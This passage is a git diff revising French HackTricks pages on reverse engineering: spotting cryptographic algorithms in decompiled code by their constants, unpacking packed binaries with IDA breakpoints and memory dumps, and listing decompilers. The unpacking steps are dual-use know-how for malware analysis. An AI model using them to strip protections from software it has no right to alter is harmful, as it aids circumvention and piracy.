-Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PRs aux repos github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +- Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +- Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +- **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
-## Identification des Algorithmes +## Identification des algorithmes -Si vous tombez sur un code **utilisant des décalages à droite et à gauche, des xors et plusieurs opérations arithmétiques**, il est fort probable qu'il s'agisse de l'implémentation d'un **algorithme cryptographique**. Ici, il sera montré des moyens d'**identifier l'algorithme utilisé sans avoir à inverser chaque étape**. +Si vous vous retrouvez avec un code **utilisant des décalages à droite et à gauche, des XOR et plusieurs opérations arithmétiques**, il est très probable qu'il s'agisse de la mise en œuvre d'un **algorithme cryptographique**. Voici quelques façons d'**identifier l'algorithme utilisé sans avoir besoin de décompiler chaque étape**. ### Fonctions API @@ -28,7 +28,7 @@ Si cette fonction est utilisée, vous pouvez trouver quel **algorithme est utili ![](<../../.gitbook/assets/image (375) (1) (1) (1) (1).png>) -Consultez ici le tableau des algorithmes possibles et leurs valeurs attribuées : [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) +Consultez ici le tableau des algorithmes possibles et de leurs valeurs attribuées : [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) **RtlCompressBuffer/RtlDecompressBuffer** @@ -36,7 +36,7 @@ Compresse et décompresse un tampon de données donné. **CryptAcquireContext** -La fonction **CryptAcquireContext** est utilisée pour acquérir un handle vers un conteneur de clés spécifique au sein d'un fournisseur de services cryptographiques (CSP) particulier. **Ce handle retourné est utilisé dans les appels aux fonctions CryptoAPI** qui utilisent le CSP sélectionné. +D'après [la documentation](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta) : La fonction **CryptAcquireContext** est utilisée pour acquérir une poignée vers un conteneur de clé particulier dans un fournisseur de services cryptographiques (CSP) particulier. **Cette poignée retournée est utilisée dans les appels aux fonctions CryptoAPI** qui utilisent le CSP sélectionné. **CryptCreateHash** @@ -44,12 +44,11 @@ Initie le hachage d'un flux de données. Si cette fonction est utilisée, vous p ![](<../../.gitbook/assets/image (376).png>) -\ -Consultez ici le tableau des algorithmes possibles et leurs valeurs attribuées : [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) +Consultez ici le tableau des algorithmes possibles et de leurs valeurs attribuées : [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) -### Constantes de Code +### Constantes de code -Parfois, il est très facile d'identifier un algorithme grâce au fait qu'il doit utiliser une valeur spéciale et unique. +Parfois, il est vraiment facile d'identifier un algorithme grâce au fait qu'il doit utiliser une valeur spéciale et unique. ![](<../../.gitbook/assets/image (370).png>) @@ -57,83 +56,83 @@ Si vous recherchez la première constante sur Google, voici ce que vous obtenez ![](<../../.gitbook/assets/image (371).png>) -Par conséquent, vous pouvez supposer que la fonction décompilée est un **calculateur sha256.**\ -Vous pouvez rechercher n'importe laquelle des autres constantes et vous obtiendrez (probablement) le même résultat. +Par conséquent, vous pouvez supposer que la fonction décompilée est un **calculateur sha256**.\ +Vous pouvez rechercher l'une des autres constantes et vous obtiendrez (probablement) le même résultat. ### Informations sur les données -Si le code ne contient aucune constante significative, il peut **charger des informations à partir de la section .data**.\ -Vous pouvez accéder à ces données, **regrouper le premier dword** et le rechercher sur Google comme nous l'avons fait dans la section précédente : +Si le code ne contient aucune constante significative, il se peut qu'il **charge des informations à partir de la section .data**.\ +Vous pouvez accéder à ces données, **grouper le premier double mot** et rechercher sur Google comme nous l'avons fait dans la section précédente : ![](<../../.gitbook/assets/image (372).png>) Dans ce cas, si vous recherchez **0xA56363C6**, vous pouvez trouver qu'il est lié aux **tables de l'algorithme AES**. -## RC4 **(Crypt Symétrique)** +## RC4 **(Cryptographie symétrique)** ### Caractéristiques Il est composé de 3 parties principales : -* **Phase d'initialisation/** : Crée une **table de valeurs de 0x00 à 0xFF** (256 octets au total, 0x100). Cette table est communément appelée **Boîte de Substitution** (ou SBox). -* **Phase de brouillage** : Va **parcourir la table** créée précédemment (boucle de 0x100 itérations, encore) en modifiant chaque valeur avec des octets **semi-aléatoires**. Pour créer ces octets semi-aléatoires, la **clé RC4 est utilisée**. Les **clés RC4** peuvent être **entre 1 et 256 octets de longueur**, cependant il est généralement recommandé qu'elle soit supérieure à 5 octets. Habituellement, les clés RC4 font 16 octets de longueur. -* **Phase XOR** : Enfin, le texte clair ou le texte chiffré est **XORé avec les valeurs créées précédemment**. La fonction pour chiffrer et déchiffrer est la même. Pour cela, une **boucle à travers les 256 octets créés** sera effectuée autant de fois que nécessaire. Ceci est généralement reconnu dans un code décompilé avec un **%256 (mod 256)**. +* **Étape d'initialisation/** : Crée une **table de valeurs de 0x00 à 0xFF** (256 octets au total, 0x100). Cette table est communément appelée **Boîte de substitution** (ou SBox). +* **Étape de brouillage** : Va **parcourir la table** créée précédemment (boucle de 0x100 itérations, encore une fois) en modifiant chaque valeur avec des octets **semi-aléatoires**. Pour créer ces octets semi-aléatoires, la clé RC4 est utilisée. Les clés RC4 peuvent être **de 1 à 256 octets de longueur**, cependant il est généralement recommandé qu'elles dépassent 5 octets. Généralement, les clés RC4 font 16 octets de longueur. +* **Étape XOR** : Enfin, le texte en clair ou le texte chiffré est **XORé avec les valeurs créées précédemment**. La fonction pour chiffrer et déchiffrer est la même. Pour cela, une **boucle à travers les 256 octets créés** sera effectuée autant de fois que nécessaire. Cela est généralement reconnu dans un code décompilé avec un **%256 (mod 256)**. {% hint style="info" %} -**Pour identifier un RC4 dans un code désassemblé/décompilé, vous pouvez vérifier 2 boucles de taille 0x100 (avec l'utilisation d'une clé) puis un XOR des données d'entrée avec les 256 valeurs créées précédemment dans les 2 boucles probablement en utilisant un %256 (mod 256)** +**Pour identifier un RC4 dans un code de désassemblage/décompilé, vous pouvez vérifier 2 boucles de taille 0x100 (avec l'utilisation d'une clé) puis un XOR des données d'entrée avec les 256 valeurs créées précédemment dans les 2 boucles en utilisant probablement un %256 (mod 256)** {% endhint %} -### **Phase d'initialisation/Boîte de Substitution :** (Notez le nombre 256 utilisé comme compteur et comment un 0 est écrit à chaque place des 256 caractères) +### **Étape d'initialisation/Boîte de substitution :** (Notez le nombre 256 utilisé comme compteur et comment un 0 est écrit à chaque emplacement des 256 caractères) ![](<../../.gitbook/assets/image (377).png>) -### **Phase de Brouillage :** +### **Étape de brouillage :** ![](<../../.gitbook/assets/image (378).png>) -### **Phase XOR :** +### **Étape XOR :** ![](<../../.gitbook/assets/image (379).png>) -## **AES (Crypt Symétrique)** +## **AES (Cryptographie symétrique)** ### **Caractéristiques** * Utilisation de **boîtes de substitution et de tables de recherche** * Il est possible de **distinguer AES grâce à l'utilisation de valeurs spécifiques de tables de recherche** (constantes). _Notez que la **constante** peut être **stockée** dans le binaire **ou créée**_ _**dynamiquement**._ -* La **clé de chiffrement** doit être **divisible** par **16** (généralement 32B) et généralement un **IV** de 16B est utilisé. +* La **clé de chiffrement** doit être **divisible** par **16** (généralement 32 octets) et généralement un **IV** de 16 octets est utilisé. ### Constantes SBox ![](<../../.gitbook/assets/image (380).png>) -## Serpent **(Crypt Symétrique)** +## Serpent **(Cryptographie symétrique)** ### Caractéristiques -* Il est rare de trouver des malwares l'utilisant mais il y a des exemples (Ursnif) -* Simple à déterminer si un algorithme est Serpent ou non en fonction de sa longueur (fonction extrêmement longue) +* Il est rare de trouver des logiciels malveillants l'utilisant mais il existe des exemples (Ursnif) +* Facile à déterminer si un algorithme est Serpent ou non en fonction de sa longueur (fonction extrêmement longue) ### Identification -Dans l'image suivante, notez comment la constante **0x9E3779B9** est utilisée (notez que cette constante est également utilisée par d'autres algorithmes cryptographiques comme **TEA** -Tiny Encryption Algorithm).\ -Notez également la **taille de la boucle** (**132**) et le **nombre d'opérations XOR** dans les **instructions de désassemblage** et dans l'**exemple de code** : +Sur l'image suivante, remarquez comment la constante **0x9E3779B9** est utilisée (notez que cette constante est également utilisée par d'autres algorithmes de cryptographie comme **TEA** - Tiny Encryption Algorithm).\ +Notez également la **taille de la boucle** (**132**) et le **nombre d'opérations XOR** dans les instructions de **désassemblage** et dans l'exemple de **code** : ![](<../../.gitbook/assets/image (381).png>) -Comme mentionné précédemment, ce code peut être visualisé dans n'importe quel décompilateur comme une **fonction très longue** car il **n'y a pas de sauts** à l'intérieur. Le code décompilé peut ressembler à ce qui suit : +Comme mentionné précédemment, ce code peut être visualisé à l'intérieur de n'importe quel décompilateur comme une **fonction très longue** car il n'y a **pas de sauts** à l'intérieur. Le code décompilé peut ressembler à ce qui suit : ![](<../../.gitbook/assets/image (382).png>) Par conséquent, il est possible d'identifier cet algorithme en vérifiant le **nombre magique** et les **XOR initiaux**, en voyant une **fonction très longue** et en **comparant** certaines **instructions** de la longue fonction **avec une implémentation** (comme le décalage à gauche de 7 et la rotation à gauche de 22). -## RSA **(Crypt Asymétrique)** +## RSA **(Cryptographie asymétrique)** ### Caractéristiques * Plus complexe que les algorithmes symétriques * Il n'y a pas de constantes ! (les implémentations personnalisées sont difficiles à déterminer) -* KANAL (un analyseur crypto) échoue à donner des indices sur RSA car il repose sur des constantes. +* KANAL (un analyseur crypto) échoue à montrer des indices sur RSA car il repose sur des constantes. ### Identification par comparaisons @@ -142,18 +141,18 @@ Par conséquent, il est possible d'identifier cet algorithme en vérifiant le ** * À la ligne 11 (gauche), il y a un `+7) >> 3` qui est le même qu'à la ligne 35 (droite) : `+7) / 8` * La ligne 12 (gauche) vérifie si `modulus_len < 0x040` et à la ligne 36 (droite) elle vérifie si `inputLen+11 > modulusLen` -## MD5 & SHA (hash) +## MD5 & SHA (hachage) ### Caractéristiques * 3 fonctions : Init, Update, Final * Fonctions d'initialisation similaires -### Identifier +### Identification **Init** -Vous pouvez identifier les deux en vérifiant les constantes. Notez que le sha\_init a 1 constante que MD5 n'a pas : +Vous pouvez les identifier tous les deux en vérifiant les constantes. Notez que sha\_init a 1 constante que MD5 n'a pas : ![](<../../.gitbook/assets/image (385).png>) @@ -163,18 +162,18 @@ Notez l'utilisation de plus de constantes ![](<../../.gitbook/assets/image (253) (1) (1) (1).png>) -## CRC (hash) +## CRC (hachage) * Plus petit et plus efficace car sa fonction est de trouver des changements accidentels dans les données -* Utilise des tables de recherche (donc vous pouvez identifier des constantes) +* Utilise des tables de recherche (vous pouvez identifier des constantes) -### Identifier +### Identification -Vérifiez **les constantes de la table de recherche** : +Vérifiez les **constantes des tables de recherche** : ![](<../../.gitbook/assets/image (387).png>) -Un algorithme de hash CRC ressemble à : +Un algorithme de hachage CRC ressemble à : ![](<../../.gitbook/assets/image (386).png>) @@ -185,9 +184,9 @@ Un algorithme de hash CRC ressemble à : * Pas de constantes reconnaissables * Vous pouvez essayer d'écrire l'algorithme en python et rechercher des choses similaires en ligne -### Identifier +### Identification -Le graphe est assez grand : +Le graphique est assez grand : ![](<../../.gitbook/assets/image (207) (2) (1).png>) @@ -197,14 +196,14 @@ Vérifiez **3 comparaisons pour le reconnaître** :
-Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PRs aux repos github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +- Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +- Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +- **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
diff --git a/reversing/cryptographic-algorithms/unpacking-binaries.md b/reversing/cryptographic-algorithms/unpacking-binaries.md index 1702f73d2..4552425ec 100644 --- a/reversing/cryptographic-algorithms/unpacking-binaries.md +++ b/reversing/cryptographic-algorithms/unpacking-binaries.md @@ -1,50 +1,37 @@
-Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
-# Identifier les binaires empaquetés +# Identification des binaires compressés -* **manque de chaînes de caractères** : Il est courant de constater que les binaires empaquetés n'ont presque aucune chaîne de caractères -* Beaucoup de **chaînes de caractères inutilisées** : De plus, lorsqu'un malware utilise une sorte d'empaqueteur commercial, il est courant de trouver de nombreuses chaînes sans références croisées. Même si ces chaînes existent, cela ne signifie pas que le binaire n'est pas empaqueté. -* Vous pouvez également utiliser certains outils pour essayer de trouver quel empaqueteur a été utilisé pour empaqueter un binaire : +* **Absence de chaînes** : Il est courant de constater que les binaires compressés n'ont presque aucune chaîne. +* Beaucoup de **chaînes inutilisées** : De plus, lorsqu'un logiciel malveillant utilise un type de compresseur commercial, il est courant de trouver beaucoup de chaînes sans références croisées. Même si ces chaînes existent, cela ne signifie pas que le binaire n'est pas compressé. +* Vous pouvez également utiliser certains outils pour essayer de trouver quel compresseur a été utilisé pour compresser un binaire : * [PEiD](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml) * [Exeinfo PE](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/ExEinfo-PE.shtml) * [Language 2000](http://farrokhi.net/language/) # Recommandations de base -* **Commencez** à analyser le binaire empaqueté **depuis le bas dans IDA et remontez**. Les désempaqueteurs se terminent une fois que le code désempaqueté se termine, il est donc peu probable que le désempaqueteur passe l'exécution au code désempaqueté au début. -* Recherchez des **JMP** ou des **CALL** vers des **registres** ou des **régions** de **mémoire**. Recherchez également des **fonctions poussant des arguments et une direction d'adresse puis appelant `retn`**, car le retour de la fonction dans ce cas peut appeler l'adresse juste poussée sur la pile avant de l'appeler. -* Placez un **point d'arrêt** sur `VirtualAlloc` car cela alloue de l'espace dans la mémoire où le programme peut écrire du code désempaqueté. Utilisez "exécuter jusqu'au code utilisateur" ou utilisez F8 pour **atteindre la valeur à l'intérieur de EAX** après avoir exécuté la fonction et "**suivez cette adresse dans le dump**". Vous ne savez jamais si c'est la région où le code désempaqueté va être sauvegardé. -* **`VirtualAlloc`** avec la valeur "**40**" comme argument signifie Lecture+Écriture+Exécution (du code nécessitant une exécution va être copié ici). -* **Pendant le désassemblage** du code, il est normal de trouver **plusieurs appels** à des opérations **arithmétiques** et des fonctions comme **`memcopy`** ou **`Virtual`**`Alloc`. Si vous vous retrouvez dans une fonction qui apparemment n'effectue que des opérations arithmétiques et peut-être un peu de `memcopy`, la recommandation est d'essayer de **trouver la fin de la fonction** (peut-être un JMP ou un appel à un registre) **ou** au moins l'**appel à la dernière fonction** et exécutez jusqu'à ce point car le code n'est pas intéressant. -* Pendant le désassemblage du code, **notez** chaque fois que vous **changez de région de mémoire** car un changement de région de mémoire peut indiquer le **début du code de désassemblage**. Vous pouvez facilement dumper une région de mémoire en utilisant Process Hacker (processus --> propriétés --> mémoire). -* Lorsque vous essayez de désassembler du code, une bonne façon de **savoir si vous travaillez déjà avec le code désempaqueté** (pour pouvoir simplement le dumper) est de **vérifier les chaînes de caractères du binaire**. Si à un moment donné vous effectuez un saut (peut-être en changeant de région de mémoire) et vous remarquez qu'**un nombre beaucoup plus important de chaînes a été ajouté**, alors vous pouvez savoir **que vous travaillez avec le code désempaqueté**.\ -Cependant, si l'empaqueteur contient déjà beaucoup de chaînes, vous pouvez voir combien de chaînes contiennent le mot "http" et voir si ce nombre augmente. -* Lorsque vous dumper un exécutable d'une région de mémoire, vous pouvez corriger certains en-têtes en utilisant [PE-bear](https://github.com/hasherezade/pe-bear-releases/releases). - - -
- -Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! - -Autres moyens de soutenir HackTricks : - -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Commencez** l'analyse du binaire compressé **du bas dans IDA et remontez**. Les désassembleurs sortent une fois que le code désassemblé sort, il est donc peu probable que le désassembleur passe l'exécution au code désassemblé au début. +* Recherchez des **JMP** ou des **CALL** vers des **registres** ou des **régions** de **mémoire**. Recherchez également des **fonctions poussant des arguments et une adresse de direction puis appelant `retn`**, car le retour de la fonction dans ce cas peut appeler l'adresse juste poussée sur la pile avant de l'appeler. +* Placez un **point d'arrêt** sur `VirtualAlloc` car cela alloue de l'espace en mémoire où le programme peut écrire du code décompressé. "Exécutez jusqu'au code utilisateur" ou utilisez F8 pour **arriver à la valeur à l'intérieur de EAX** après l'exécution de la fonction et "**suivez cette adresse dans le dump**". Vous ne savez jamais si c'est la région où le code décompressé va être sauvegardé. +* **`VirtualAlloc`** avec la valeur "**40**" comme argument signifie Lecture+Écriture+Exécution (du code qui nécessite une exécution va être copié ici). +* **Pendant le décompactage** du code, il est normal de trouver **plusieurs appels** à des **opérations arithmétiques** et à des fonctions comme **`memcopy`** ou **`Virtual`**`Alloc`. Si vous vous trouvez dans une fonction qui ne semble effectuer que des opérations arithmétiques et peut-être un peu de `memcopy`, la recommandation est d'essayer de **trouver la fin de la fonction** (peut-être un JMP ou un appel à un registre) **ou** au moins l'**appel à la dernière fonction** et d'exécuter jusqu'à ce moment car le code n'est pas intéressant. +* Pendant le décompactage du code, **notez** chaque fois que vous **changez de région mémoire** car un changement de région mémoire peut indiquer le **début du code décompressé**. Vous pouvez facilement décharger une région mémoire en utilisant Process Hacker (processus --> propriétés --> mémoire). +* En essayant de décompresser du code, une bonne façon de **savoir si vous travaillez déjà avec le code décompressé** (pour pouvoir simplement le décharger) est de **vérifier les chaînes du binaire**. Si à un moment donné vous effectuez un saut (peut-être en changeant la région mémoire) et que vous remarquez que **beaucoup plus de chaînes ont été ajoutées**, alors vous pouvez savoir **que vous travaillez avec le code décompressé**.\ +Cependant, si le compresseur contient déjà beaucoup de chaînes, vous pouvez voir combien de chaînes contiennent le mot "http" et voir si ce nombre augmente. +* Lorsque vous déchargez un exécutable à partir d'une région de mémoire, vous pouvez corriger certains en-têtes en utilisant [PE-bear](https://github.com/hasherezade/pe-bear-releases/releases).
diff --git a/reversing/reversing-tools-basic-methods/README.md b/reversing/reversing-tools-basic-methods/README.md index c270962ec..5458ca912 100644 --- a/reversing/reversing-tools-basic-methods/README.md +++ b/reversing/reversing-tools-basic-methods/README.md @@ -1,30 +1,30 @@ -# Outils de Reverse Engineering et Méthodes de Base +# Outils de rétro-ingénierie et méthodes de base
-Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs exclusifs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm). -* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
-Trouvez les vulnérabilités les plus importantes pour les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des scans de menaces proactifs, trouve des problèmes dans toute votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui. +Trouvez les vulnérabilités les plus importantes afin de pouvoir les corriger plus rapidement. Intruder suit votre surface d'attaque, lance des analyses de menaces proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm_source=referral\&utm_campaign=hacktricks) aujourd'hui. {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %} *** -## Outils de Reverse Engineering basés sur ImGui +## Outils de rétro-ingénierie basés sur ImGui -Logiciels : +Logiciel : * ReverseKit : [https://github.com/zer0condition/ReverseKit](https://github.com/zer0condition/ReverseKit) @@ -32,11 +32,11 @@ Logiciels : En ligne : -* Utilisez [https://webassembly.github.io/wabt/demo/wasm2wat/index.html](https://webassembly.github.io/wabt/demo/wasm2wat/index.html) pour **décompiler** de wasm (binaire) à wat (texte clair) -* Utilisez [https://webassembly.github.io/wabt/demo/wat2wasm/](https://webassembly.github.io/wabt/demo/wat2wasm/) pour **compiler** de wat à wasm -* vous pouvez également essayer d'utiliser [https://wwwg.github.io/web-wasmdec/](https://wwwg.github.io/web-wasmdec/) pour décompiler +* Utilisez [https://webassembly.github.io/wabt/demo/wasm2wat/index.html](https://webassembly.github.io/wabt/demo/wasm2wat/index.html) pour **décompiler** du wasm (binaire) en wat (texte clair) +* Utilisez [https://webassembly.github.io/wabt/demo/wat2wasm/](https://webassembly.github.io/wabt/demo/wat2wasm/) pour **compiler** du wat en wasm +* Vous pouvez également essayer d'utiliser [https://wwwg.github.io/web-wasmdec/](https://wwwg.github.io/web-wasmdec/) pour décompiler -Logiciels : +Logiciel : * [https://www.pnfsoftware.com/jeb/demo](https://www.pnfsoftware.com/jeb/demo) * [https://github.com/wwwg/wasmdec](https://github.com/wwwg/wasmdec) @@ -45,48 +45,46 @@ Logiciels : ### [dotPeek](https://www.jetbrains.com/decompiler/) -dotPeek est un décompilateur qui **décompile et examine plusieurs formats**, y compris les **bibliothèques** (.dll), les **fichiers de métadonnées Windows** (.winmd) et les **exécutables** (.exe). Une fois décompilé, un assemblage peut être sauvegardé en tant que projet Visual Studio (.csproj). +dotPeek est un décompilateur qui **décompile et examine plusieurs formats**, y compris les **bibliothèques** (.dll), les fichiers de métadonnées Windows (.winmd) et les **exécutables** (.exe). Une fois décompilée, une assembly peut être enregistrée en tant que projet Visual Studio (.csproj). -L'avantage ici est que si un code source perdu nécessite une restauration à partir d'un assemblage ancien, cette action peut faire gagner du temps. De plus, dotPeek offre une navigation pratique dans le code décompilé, ce qui en fait l'un des outils parfaits pour **l'analyse d'algorithme Xamarin.** +Le mérite ici est que si un code source perdu nécessite une restauration à partir d'une assembly héritée, cette action peut faire gagner du temps. De plus, dotPeek offre une navigation pratique dans le code décompilé, ce qui en fait l'un des outils parfaits pour l'**analyse d'algorithmes Xamarin**. ### [.Net Reflector](https://www.red-gate.com/products/reflector/) -Avec un modèle d'add-in complet et une API qui étend l'outil pour répondre à vos besoins exacts, .NET Reflector économise du temps et simplifie le développement. Examinons la multitude de services d'ingénierie inverse que cet outil offre : +Avec un modèle d'extension complet et une API qui étend l'outil pour répondre exactement à vos besoins, .NET Reflector fait gagner du temps et simplifie le développement. Jetons un coup d'œil à la pléthore de services d'ingénierie inverse que cet outil fournit : * Fournit un aperçu de la façon dont les données circulent à travers une bibliothèque ou un composant -* Donne un aperçu de la mise en œuvre et de l'utilisation des langages et frameworks .NET -* Trouve des fonctionnalités non documentées et non exposées pour tirer davantage parti des API et technologies utilisées. -* Trouve des dépendances et différentes assemblées -* Localise avec précision l'emplacement des erreurs dans votre code, les composants tiers et les bibliothèques. +* 